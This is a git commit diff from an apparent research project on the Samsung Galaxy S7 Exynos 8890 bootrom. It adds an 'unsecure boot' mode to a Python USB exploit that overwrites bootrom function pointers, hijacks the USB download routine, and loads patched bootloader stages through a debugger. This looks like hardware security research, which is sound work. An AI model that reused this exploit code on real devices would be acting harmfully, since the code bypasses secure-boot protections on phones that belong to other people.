added normal boot mode
This commit is contained in:
parent
a8aed2e480
commit
27fd2b00fb
@ -1,9 +1,9 @@
|
||||
#Ghidra Lock File
|
||||
#Fri Aug 09 11:27:43 CEST 2024
|
||||
#Thu Aug 15 13:43:49 CEST 2024
|
||||
OS\ Name=Linux
|
||||
OS\ Version=6.5.0-44-generic
|
||||
Username=eljakim
|
||||
Hostname=levith
|
||||
<META>\ Supports\ File\ Channel\ Locking=Channel Lock
|
||||
OS\ Architecture=amd64
|
||||
Timestamp=8/9/24, 11\:27 AM
|
||||
Timestamp=8/15/24, 1\:43 PM
|
||||
|
@ -1,13 +1,17 @@
|
||||
VERSION=1
|
||||
/
|
||||
00000006:8890_bootrom.bin:7f0119bc3142241939494339
|
||||
0000000a:8890_bootrom.bin.1:7f011a6853998629050259
|
||||
00000002:8890_bootrom.bin.keep:7f011889d240069673442230
|
||||
00000008:8890_bootrom_old_bl1:7f011822f30596451841878
|
||||
/dump
|
||||
00000009:reloc_debugger.elf:7f0119bd531451643843511
|
||||
/mib3
|
||||
00000000:full_boot:7f0118059140616855428589
|
||||
/s7
|
||||
00000007:fwbl1.bin:7f011a0d5252765509589854
|
||||
00000003:sboot.bin.2.bin:7f011ab837995028720085
|
||||
00000007:bl1.bin:7f011a0d5252765509589854
|
||||
00000003:bl31.bin:7f011ab837995028720085
|
||||
00000004:sboot.bin.3.bin:7f011872b8163836628792
|
||||
00000005:sboot.bin.4.bin:7f011842b8231996037592
|
||||
NEXT-ID:8
|
||||
NEXT-ID:b
|
||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||
|
@ -2,6 +2,10 @@ VERSION=1
|
||||
/
|
||||
00000006:8890_bootrom.bin:7f0119bc3142241939494339
|
||||
00000002:8890_bootrom.bin.keep:7f011889d240069673442230
|
||||
0000000a:8890_bootrom_bl31_loaded:7f011a6853998629050259
|
||||
00000008:8890_bootrom_old_bl1:7f011822f30596451841878
|
||||
/dump
|
||||
00000009:reloc_debugger.elf:7f0119bd531451643843511
|
||||
/mib3
|
||||
00000000:full_boot:7f0118059140616855428589
|
||||
/s7
|
||||
@ -9,5 +13,5 @@ VERSION=1
|
||||
00000003:bl31.bin:7f011ab837995028720085
|
||||
00000004:sboot.bin.3.bin:7f011872b8163836628792
|
||||
00000005:sboot.bin.4.bin:7f011842b8231996037592
|
||||
NEXT-ID:8
|
||||
NEXT-ID:b
|
||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||
|
@ -4,6 +4,7 @@ VERSION=1
|
||||
00000004:udf_7f011842b8231996037592:7f01190f112184430945139
|
||||
00000003:udf_7f011872b8163836628792:7f011a9478217161533597
|
||||
00000001:udf_7f0119bc3142241939494339:7f011abb7142807435236045
|
||||
00000005:udf_7f011a0d5252765509589854:7f0118e15255467845445248
|
||||
00000002:udf_7f011ab837995028720085:7f0118cdd8148515697603
|
||||
NEXT-ID:5
|
||||
NEXT-ID:6
|
||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||
|
@ -4,7 +4,8 @@ VERSION=1
|
||||
00000004:udf_7f011842b8231996037592:7f01190f112184430945139
|
||||
00000003:udf_7f011872b8163836628792:7f011a9478217161533597
|
||||
00000001:udf_7f0119bc3142241939494339:7f011abb7142807435236045
|
||||
00000006:udf_7f0119bd531451643843511:7f011a1c131523520933550
|
||||
00000005:udf_7f011a0d5252765509589854:7f0118e15255467845445248
|
||||
00000002:udf_7f011ab837995028720085:7f0118cdd8148515697603
|
||||
NEXT-ID:6
|
||||
NEXT-ID:7
|
||||
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||
|
@ -1,2 +1,2 @@
|
||||
IADD:00000005:/udf_7f011a0d5252765509589854
|
||||
IDSET:/udf_7f011a0d5252765509589854:7f0118e15255467845445248
|
||||
IADD:00000006:/udf_7f0119bd531451643843511
|
||||
IDSET:/udf_7f0119bd531451643843511:7f011a1c131523520933550
|
||||
|
5
source/S7/g930f_latest/split-sboot-8890.sh
Executable file
5
source/S7/g930f_latest/split-sboot-8890.sh
Executable file
@ -0,0 +1,5 @@
|
||||
# input file argument : sboot.bin - G930W8VLS6CSH1 - sha1sum: 9322ccb4e9b382b8cc67ff9ef989c459a763621f
|
||||
dd if=$1 of=$1.1.bin skip=0 bs=512 count=16 # 0x2000 @ 0x0
|
||||
dd if=$1 of=$1.2.bin skip=16 bs=512 count=288 # 0x24000 @ 0x2000
|
||||
dd if=$1 of=$1.3.bin skip=155648 bs=1 count=158992 # 0x26d10 @ 0x26000
|
||||
dd if=$1 of=$1.4.bin skip=776 bs=512 count=1672 # 0xD1000 @ 0x61000
|
9
source/exploit/.vscode/launch.json
vendored
9
source/exploit/.vscode/launch.json
vendored
@ -21,6 +21,15 @@
|
||||
"justMyCode": false,
|
||||
"args": []
|
||||
},
|
||||
{
|
||||
"name": "Run unsecure boot",
|
||||
"type": "debugpy",
|
||||
"request": "launch",
|
||||
"program": "exploit.py",
|
||||
"console": "integratedTerminal",
|
||||
"justMyCode": false,
|
||||
"args": ["--boot"]
|
||||
},
|
||||
{
|
||||
"name": "Debug current file",
|
||||
"type": "debugpy",
|
||||
|
@ -38,6 +38,14 @@ TARGET_OFFSETS = {
|
||||
"8895": (0x02021800, 0x02020F18, 0x02070000)
|
||||
}
|
||||
|
||||
def wait_for_device():
|
||||
while usb.core.find(idVendor=0x04e8, idProduct=0x1234) is None:
|
||||
pass
|
||||
|
||||
def wait_disconnect():
|
||||
while usb.core.find(idVendor=0x04e8, idProduct=0x1234) is not None:
|
||||
pass
|
||||
|
||||
ENDPOINT_BULK_IN = 0x81
|
||||
ENDPOINT_BULK_OUT = 0x2
|
||||
|
||||
@ -83,6 +91,12 @@ class ExynosDevice():
|
||||
self.handle.claimInterface(0)
|
||||
print(f"Connected device! {hex(self.idVendor)} {hex(self.idProduct)}")
|
||||
|
||||
def disconnect(self):
|
||||
"""Disconnect the device"""
|
||||
self.handle.releaseInterface(0)
|
||||
self.handle.close()
|
||||
self.context.exit()
|
||||
|
||||
def write(self, data):
|
||||
transferred = ctypes.c_int()
|
||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 0)
|
||||
@ -128,15 +142,42 @@ class ExynosDevice():
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
def send_normal(self, payload):
|
||||
def send_normal_stage(self, payload):
|
||||
'''
|
||||
TODO not working
|
||||
'''
|
||||
# construct dl_data
|
||||
payload = struct.pack("<II", 0, len(payload)) #+ (payload + b"\x00" * 2)
|
||||
dpayload = struct.pack("<II", 0, len(payload) + 8 + 2)
|
||||
dpayload = dpayload + payload + b"\x00" * 2 # add footer
|
||||
transferred = ctypes.c_int()
|
||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
|
||||
for block in range(0, len(dpayload), BLOCK_SIZE):
|
||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, dpayload[block:block + BLOCK_SIZE], len(dpayload[block:block + BLOCK_SIZE]), ctypes.byref(transferred), 0)
|
||||
assert res == 0, "Error sending payload"
|
||||
p_ok("Sended stage")
|
||||
|
||||
def unsecure_boot(self):
|
||||
self.exploit(open("../../dump/exynos-usbdl/payloads/Exynos8890_unsecure_boot_usb.bin", "rb").read())
|
||||
time.sleep(2)
|
||||
self.connect_device()
|
||||
# self.send_normal_stage("/home/eljakim/Source/Samsung_S7/source/S7/g930f_latest/g930f_sboot.bin.1.bin")
|
||||
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read())
|
||||
# wait_disconnect()
|
||||
time.sleep(2)
|
||||
self.connect_device()
|
||||
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read())
|
||||
# wait_disconnect()
|
||||
time.sleep(2)
|
||||
self.connect_device()
|
||||
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read())
|
||||
# wait_disconnect()
|
||||
time.sleep(2)
|
||||
self.connect_device()
|
||||
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read())
|
||||
|
||||
# self.send_normal_stage(open("../S7/bl1.bin", "rb").read())
|
||||
# self.send_normal_stage(open("../S7/bl31.bin", "rb").read())
|
||||
# self.send_normal_stage(open("../S7/sboot.bin.3.bin", "rb").read())
|
||||
# self.send_normal_stage(open("../S7/sboot.bin.4.bin", "rb").read())
|
||||
pass
|
||||
|
||||
def exploit(self, payload: bytes):
|
||||
@ -342,7 +383,15 @@ class ExynosDevice():
|
||||
assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
|
||||
self.cd.relocate_debugger(0x020c7000, 0x020c0000, 0x020c4000)
|
||||
|
||||
relocate_debugger()
|
||||
def first_debugger():
|
||||
debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
|
||||
self.cd.memwrite_region(0x2069000, debugger)
|
||||
self.cd.restore_stack_and_jump(0x2069000)
|
||||
assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
|
||||
self.cd.relocate_debugger(0x206d000 + 0x1000, 0x2069000, 0x206d000)
|
||||
|
||||
# relocate_debugger()
|
||||
DEBUGGER_ADDR = 0x2069000 #0x020c0000
|
||||
|
||||
logger.debug('State after relocating debugger')
|
||||
self.cd.arch_dbg.state.print_ctx()
|
||||
@ -354,10 +403,75 @@ class ExynosDevice():
|
||||
dumped += self.cd.memdump_region(block, 0x200)
|
||||
return dumped
|
||||
|
||||
# dump1 = memdump_imem()
|
||||
AUTH_BL1 = 0x00012848
|
||||
def auth_bl1(lr=0x2069000):
|
||||
# Load the firmware
|
||||
self.cd.arch_dbg.state.X0 = 1
|
||||
self.cd.arch_dbg.state.X1 = 1
|
||||
self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished
|
||||
self.cd.restore_stack_and_jump(AUTH_BL1)
|
||||
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
||||
assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
|
||||
|
||||
BOOT_BL1 = 0x00019310
|
||||
def boot_bl1(lr=0x2069000):
|
||||
self.cd.arch_dbg.state.LR = lr
|
||||
self.cd.restore_stack_and_jump(BOOT_BL1)
|
||||
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
||||
|
||||
JUMP_BL1 = 0x000002c0
|
||||
def jump_bl1(lr):
|
||||
self.cd.arch_dbg.state.LR = lr
|
||||
self.cd.restore_stack_and_jump(JUMP_BL1)
|
||||
|
||||
|
||||
# Always hijack rom_usb_download function:
|
||||
rom_usb_download = self.cd.memdump_region(0x020200dc, 4)
|
||||
self.cd.memwrite_region(0x020200dc, p32(0x2069000))
|
||||
|
||||
# Try loading bl1
|
||||
bl1 = open("../S7/bl1.bin", "rb").read()
|
||||
self.cd.memwrite_region(0x02021800, bl1)
|
||||
self.usb_write(b"FLSH") # Flush cache
|
||||
self.cd.test_connection()
|
||||
auth_bl1(DEBUGGER_ADDR)
|
||||
# boot_bl1(DEBUGGER_ADDR)
|
||||
self.cd.memwrite_region(0x02022858, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR)) # jump to debugger on next stage download
|
||||
self.cd.memwrite_region(0x020219cc, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR))
|
||||
jump_bl1(DEBUGGER_ADDR)
|
||||
|
||||
# Returns on usb_download function
|
||||
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
||||
self.cd.arch_dbg.state.print_ctx()
|
||||
dl_ready, next_stage = struct.unpack("<II", self.cd.memdump_region(0x02021518, 8))
|
||||
bl31 = open("../S7/bl31.bin", "rb").read()
|
||||
self.cd.memwrite_region(0x02024000, bl31)
|
||||
self.cd.memwrite_region(0x02021518, p32(1)) # Set dl_ready to 1
|
||||
self.cd.memwrite_region(0x02021518 + 4 , p32(self.cd.arch_dbg.state.X0))
|
||||
|
||||
self.cd.arch_dbg.state.X0 = 0
|
||||
self.cd.restore_stack_and_jump(0x020219c8)
|
||||
pass
|
||||
|
||||
# assert len(bl31) % 0x200 == 0, "Size needs to be 512 bytes aligned"
|
||||
# self.cd.memwrite_region(self.cd.arch_dbg.state.X0, p32(147456)) # Update amount of blocks
|
||||
|
||||
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
||||
# self.cd.restore_stack_and_jump(0x02022a08)
|
||||
# Patches
|
||||
# self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
|
||||
# self.cd.memwrite_region(0x2022948 + 4, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR))
|
||||
|
||||
# Patch stupid error funciton
|
||||
# self.usb_write(b"FLSH") # Flush cache
|
||||
|
||||
# Download next stage?
|
||||
lr = self.cd.arch_dbg.state.LR
|
||||
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
||||
|
||||
|
||||
|
||||
pass
|
||||
|
||||
# Using keystone, look for each msr instruction (AARCH64, LE)
|
||||
|
||||
@ -365,18 +479,9 @@ class ExynosDevice():
|
||||
# If wanting to modify the binary
|
||||
# bl1 = bl1[:0x1C23] + b'\xaa' + bl1[0x1C24:]
|
||||
|
||||
self.cd.memwrite_region(0x02021800, bl1)
|
||||
|
||||
imem1 = memdump_imem()
|
||||
AUTH_BL1 = 0x00012848
|
||||
def auth_bl1(lr=0x2069000):
|
||||
# Load the firmware
|
||||
self.cd.arch_dbg.state.W0 = 1
|
||||
self.cd.arch_dbg.state.X1 = 1
|
||||
self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished
|
||||
self.cd.restore_stack_and_jump(AUTH_BL1)
|
||||
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
||||
assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
|
||||
|
||||
|
||||
auth_bl1(0x020c0000)
|
||||
|
||||
@ -389,19 +494,18 @@ class ExynosDevice():
|
||||
|
||||
# Overwrite jump back to the debugger from functions encountered during jump_bl1
|
||||
# self.cd.memwrite_region(0x02020108, p32(0x020c0000)) # Hijack some weird function, original 0x00005790
|
||||
|
||||
self.cd.memwrite_region(0x020200e8, p32(0x020c0000)) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
|
||||
self.cd.memwrite_region(0x020200dc, p32(0x020c0000))
|
||||
|
||||
def hijack_brom_weird():
|
||||
print(f"LR = {hex(self.cd.arch_dbg.state.LR - 4)} X0 = {hex(self.cd.arch_dbg.state.X0)}")
|
||||
print(f"From = {hex(self.cd.arch_dbg.state.LR - 4)} X0 = {hex(self.cd.arch_dbg.state.X0)}")
|
||||
self.cd.restore_stack_and_jump(0x00000314)
|
||||
|
||||
BOOT_BL1 = 0x00019310
|
||||
def jump_bl1(lr):
|
||||
self.cd.arch_dbg.state.LR = lr
|
||||
self.cd.restore_stack_and_jump(BOOT_BL1)
|
||||
|
||||
|
||||
jump_bl1(0x020c0000)
|
||||
def handle_weird_brom():
|
||||
while True:
|
||||
try:
|
||||
resp = self.usb_read(0x200)
|
||||
@ -409,7 +513,30 @@ class ExynosDevice():
|
||||
if self.cd.arch_dbg.state.LR == 0x02022948:
|
||||
break # ROM will load next stage over USB
|
||||
hijack_brom_weird()
|
||||
except:
|
||||
except Exception as e:
|
||||
pass
|
||||
handle_weird_brom()
|
||||
|
||||
# Parse pagetables
|
||||
# self.cd.jump_to(0x2069000)
|
||||
# assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
||||
# self.cd.fetch_special_regs()
|
||||
|
||||
# Address to download to
|
||||
|
||||
|
||||
|
||||
|
||||
self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins)
|
||||
|
||||
# testfun(0x2069000)
|
||||
|
||||
self.cd.arch_dbg.state.X0 = 1
|
||||
self.cd.restore_stack_and_jump(self.cd.arch_dbg.state.LR)
|
||||
self.usb_read(0x200) # GiAs
|
||||
|
||||
self.cd.arch_dbg.state.LR = 0x2069000
|
||||
self.cd.restore_stack_and_jump(0x00000314)
|
||||
pass
|
||||
|
||||
shellcode = f"""
|
||||
@ -426,11 +553,11 @@ class ExynosDevice():
|
||||
|
||||
|
||||
# load bl31
|
||||
bl31 = open("../S7/bl31.bin", "rb").read()
|
||||
|
||||
# bl31 = bl31[:0x14] + self.cd.arch_dbg.sc.branch_absolute(0x2069000) + bl31[0x24:] # Overwrite jump back to debugger
|
||||
|
||||
# # Write bl31 at 0x02021800 and authenticate
|
||||
self.cd.memwrite_region(0x02021800, bl31)
|
||||
|
||||
auth_bl1(0x020c0000)
|
||||
|
||||
# Jump to bl31
|
||||
@ -490,6 +617,7 @@ class ExynosDevice():
|
||||
if __name__ == "__main__":
|
||||
arg = argparse.ArgumentParser("Exynos exploit")
|
||||
arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
|
||||
arg.add_argument("--boot", action="store_true", help="Unsecure boot", default=False)
|
||||
|
||||
args = arg.parse_args()
|
||||
exynos = ExynosDevice()
|
||||
@ -501,6 +629,11 @@ if __name__ == "__main__":
|
||||
# exynos.usb_debug()
|
||||
sys.exit(0)
|
||||
|
||||
if args.boot:
|
||||
exynos.unsecure_boot()
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
stage1 = open("stage1/stage1.bin", "rb").read()
|
||||
exynos.exploit(stage1)
|
||||
exynos.setup_guppy_debugger()
|
||||
|
@ -2,7 +2,7 @@ from ghidra_assistant.ghidra_assistant import GhidraAssistant
|
||||
|
||||
if __name__ == "__main__":
|
||||
# rom = open("S7/rom.bin", 'rb').read()
|
||||
imem = open("exynos_imem_0x02020000_0x2070000.bin", 'rb').read()
|
||||
imem = open("/tmp/imem", 'rb').read()
|
||||
|
||||
ga = GhidraAssistant()
|
||||
# ga.ghidra.add_memory(rom, 0x0, True, "ROM")
|
||||
|
Loading…
Reference in New Issue
Block a user